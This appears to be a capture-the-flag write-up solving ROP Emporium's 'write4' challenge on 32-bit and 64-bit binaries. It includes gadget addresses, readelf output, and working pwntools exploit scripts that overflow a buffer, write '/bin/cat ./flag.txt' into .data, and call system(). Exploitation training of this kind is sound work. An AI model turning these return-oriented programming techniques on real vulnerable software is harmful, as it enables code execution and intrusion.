We have the same situation as we had in the split challenge, however in this case we do not have the string /bin/cat flag.txt lying around in the binary. We'll have to construct this string in the memory and then ask the system function to execute this.
So we'll just get right into it and try to build the write primitive that will get us the writing capabilities and the we'll construct the complete ROP chain to execution.
First we'll have to find a write able section of the binary that we'll write the data to.
$ readelf -S ./write432 | grep W
[19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 000028 04 WA 0 0 4
[25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4
[26] .bss NOBITS 0804a040 001030 00002c 00 WA 0 0 32
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
Out of all the write able sections, I tried .jcr, .dynamic, but only .data seemed to be working, I am yet to figure out the reason for this. However, we'll use .data section to write the data.
32 bit
We have to find rop gadget that will let us write to a memory location, something like the following.
mov dword ptr [REG1], REG2
# This will write the data from REG2 to the memory
# location of REG1
This is essentially what we are looking for. Another gadget that we'll need is the one that will help us load the appropriate data to the registers.
So the gadgets that I found were the following:
# Write to memory location
0x08048670 : mov dword ptr [edi], ebp ; ret
# Load the registers with data
0x080486da : pop edi ; pop ebp ; ret
So now all we had to do was make the ROP that will write the string chunks of 4 bytes to the appropriate location, for which I wrote the python script to automate the process.
from pwn import *
import re
final_rop = []
store_vals = 0x080486da
write_str = 0x08048670
system = 0x08048430
data = 0x0804a028
def get_hex_arr():
param = "/bin/cat ./flag.txt;"
# This splits string to pieces of 4
arr = re.findall('.{4}', param)
return [e[::-1].encode("hex") for e in arr]
i = 0
for chunk in get_hex_arr():
final_rop.append(p32(store_vals))
# This is to move the memory location by 4
# every time we write a chunk of string
final_rop.append(p32(data + i))
final_rop.append(p32(int(chunk, 16)))
final_rop.append(p32(write_str))
i += 4
print "A"*44 + ''.join(final_rop) + p32(system) + "JUNK" + p32(data)
And using this exploit script, we have our flag.
$ python exploit.py > final.payload; cat final.payload | ./write432
write4 by ROP Emporium
32bits
Go ahead and give me the string already!
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault
64 bit
We'll follow the same process as done in 32 bit architecture binary, the only difference will come while loading the parameters for the system function, due to difference in way the x64 load parameters.
# Write to the memory location
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
# Load the registers with value
0x0000000000400890 : pop r14 ; pop r15 ; ret
Python script that will generate the complete exploit
from pwn import *
import re
final_rop = []
store_vals = 0x0000000000400890
write_str = 0x0000000000400820
system = 0x4005e0
data = 0x0000000000601050
write_rdi = 0x0000000000400893
ret = 0x00000000004005b9
def get_hex_arr():
# The string has been made of length divisible by 8
# to fix string padding issues
param = "/bin/cat ./flag.txt;echo"
arr = re.findall('.{8}', param)
return [e[::-1].encode("hex") for e in arr]
i = 0
for chunk in get_hex_arr():
final_rop.append(p64(store_vals))
final_rop.append(p64(data + i))
final_rop.append(p64(int(chunk, 16)))
final_rop.append(p64(write_str))
i += 8
# Loading the parameter for system function
final_rop.append(p64(write_rdi))
final_rop.append(p64(data))
final_rop.append(p64(system))
print "A"*40 + ''.join(final_rop)
$ python exploit.py > final.payload ; cat final.payload | ./write4
write4 by ROP Emporium
64bits
Go ahead and give me the string already!
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault
